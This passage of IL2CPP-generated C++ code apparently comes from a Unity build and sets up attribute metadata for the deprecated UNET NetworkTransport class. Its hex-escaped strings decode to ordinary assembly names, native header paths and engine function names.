InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x36"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[126];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x30\x37"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[127];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x43\x6F\x72\x65"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[128];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x45\x6E\x67\x69\x6E\x65\x2E\x4E\x65\x74\x77\x6F\x72\x6B\x69\x6E\x67"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[129];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x44\x65\x76\x2E\x30\x30\x35"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[130];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x44\x65\x76\x2E\x30\x30\x33"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[131];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x35"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[132];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x36"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[133];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x37"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[134];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x44\x65\x76\x2E\x30\x30\x34"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[135];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x39"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[136];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x32\x30"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[137];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x31\x38"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[138];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x32\x33"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[139];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x55\x49\x45\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x45\x64\x69\x74\x6F\x72\x54\x65\x73\x74\x73"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[140];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x32\x34"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[141];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x44\x65\x76\x2E\x30\x30\x31"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[142];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x44\x65\x76\x2E\x30\x30\x32"), NULL);
}
{
InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C * tmp = (InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C *)cache->attributes[143];
InternalsVisibleToAttribute__ctor_m420071A75DCEEC72356490C64B4B0B9270DA32B9(tmp, il2cpp_codegen_string_new_wrapper("\x55\x6E\x69\x74\x79\x2E\x49\x6E\x74\x65\x72\x6E\x61\x6C\x41\x50\x49\x45\x6E\x67\x69\x6E\x65\x42\x72\x69\x64\x67\x65\x2E\x30\x32\x31"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * tmp = (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B *)cache->attributes[0];
NativeConditionalAttribute__ctor_mD7A4501DA7EC2B1EBAF4730F06B60D3A8D896A23(tmp, il2cpp_codegen_string_new_wrapper("\x45\x4E\x41\x42\x4C\x45\x5F\x4E\x45\x54\x57\x4F\x52\x4B\x20\x26\x26\x20\x45\x4E\x41\x42\x4C\x45\x5F\x55\x4E\x45\x54"), true, NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x2E\x68"), NULL);
}
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[2];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x55\x4E\x45\x54\x20\x74\x72\x61\x6E\x73\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x20\x61\x73\x20\x73\x6F\x6F\x6E\x20\x61\x20\x72\x65\x70\x6C\x61\x63\x65\x6D\x65\x6E\x74\x20\x69\x73\x20\x72\x65\x61\x64\x79\x2E"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[3];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x43\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[4];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x65\x74\x54\x79\x70\x65\x73\x2E\x68"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_InitializeClass_m885F41697D3E728B618EE20A48B7F88BBF596891(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x43\x6C\x61\x73\x73"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_InitializeClassWithConfig_mA43ECAAD1DEFB5BA599591691AF2B3826F6A0BDC(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65\x43\x6C\x61\x73\x73\x57\x69\x74\x68\x43\x6F\x6E\x66\x69\x67"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_AddHostInternal_mE6C08100955EB6B0A84D2012C4539CCEFD21D78F(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x41\x64\x64\x48\x6F\x73\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_AddWsHostInternal_mC1C24C4B573DA481ED99DB6C68B44E29D30A6AB0(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x41\x64\x64\x57\x73\x48\x6F\x73\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ConnectAsNetworkHostInternal_m94E35F271C763E9352979273766BCADE2119B737(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x43\x6F\x6E\x6E\x65\x63\x74\x41\x73\x4E\x65\x74\x77\x6F\x72\x6B\x48\x6F\x73\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ReceiveRelayEventFromHostInternal_m95E08AB6EAA9551BBA636B8994B782AA59CDD616(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x50\x6F\x70\x52\x65\x6C\x61\x79\x48\x6F\x73\x74\x44\x61\x74\x61"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ConnectToNetworkPeerInternal_m8E3EFCA23270665D8A312C6B9B824F79EDD3E306(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x43\x6F\x6E\x6E\x65\x63\x74\x54\x6F\x4E\x65\x74\x77\x6F\x72\x6B\x50\x65\x65\x72"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetCurrentRTT_mF6F860C6EE547DF877313DB56D7348F5101B0F9B(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x52\x54\x54"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetConnectionInfo_m9C1C905E4C06B265514A87B380E4851795068A24(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x47\x65\x74\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x49\x6E\x66\x6F"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_GetMaxPacketSize_m98EE9A0A5FD4C30AEF12D0B7EE498B3043E929F1(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x47\x65\x74\x4D\x61\x78\x50\x61\x63\x6B\x65\x74\x53\x69\x7A\x65"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_RemoveHost_m30AE2F5E95C285B9A206B7B7E3DF092E73FC4E76(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x52\x65\x6D\x6F\x76\x65\x48\x6F\x73\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_IsStartedInternal_m90ABBFFB0BAD69105ACFB91ABEA5D53345C1145A(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x49\x73\x53\x74\x61\x72\x74\x65\x64"), NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Connect_mAB9436F3762B46F3078AD6BC36AA49BD5E598588(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x43\x6F\x6E\x6E\x65\x63\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_ConnectWithSimulatorInternal_m89044D238A13391ACC38F88E18D6EBE64AECB93C(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x43\x6F\x6E\x6E\x65\x63\x74\x57\x69\x74\x68\x53\x69\x6D\x75\x6C\x61\x74\x6F\x72"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Disconnect_mD0F2C28F6A7B17313F966C4D74FD84F7F4E3A015(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_Internal_ConnectEndPoint_m0C217E6A0B5B421DCCEAF786E1383D5629DD1727(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x43\x6F\x6E\x6E\x65\x63\x74\x53\x6F\x63\x6B\x41\x64\x64\x72"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_SendWrapper_m2BEDC12E5B2E0AADC4E602DDEDA16552C29EBB5D(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x53\x65\x6E\x64"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
static void NetworkTransport_t1369B1490ACBBE45303AFD344210B4D0EA826D44_CustomAttributesCacheGenerator_NetworkTransport_PopData_m9AE207175D69AA961E59A596031B6DC4C9E48E8C(CustomAttributesCache* cache)
{
{
FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 * tmp = (FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03 *)cache->attributes[0];
FreeFunctionAttribute__ctor_mE37D1E356F51A379B44C570574608DC3E49E0DB0(tmp, il2cpp_codegen_string_new_wrapper("\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x3A\x3A\x47\x65\x74\x28\x29\x2D\x3E\x50\x6F\x70\x44\x61\x74\x61"), NULL);
NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline(tmp, true, NULL);
}
}
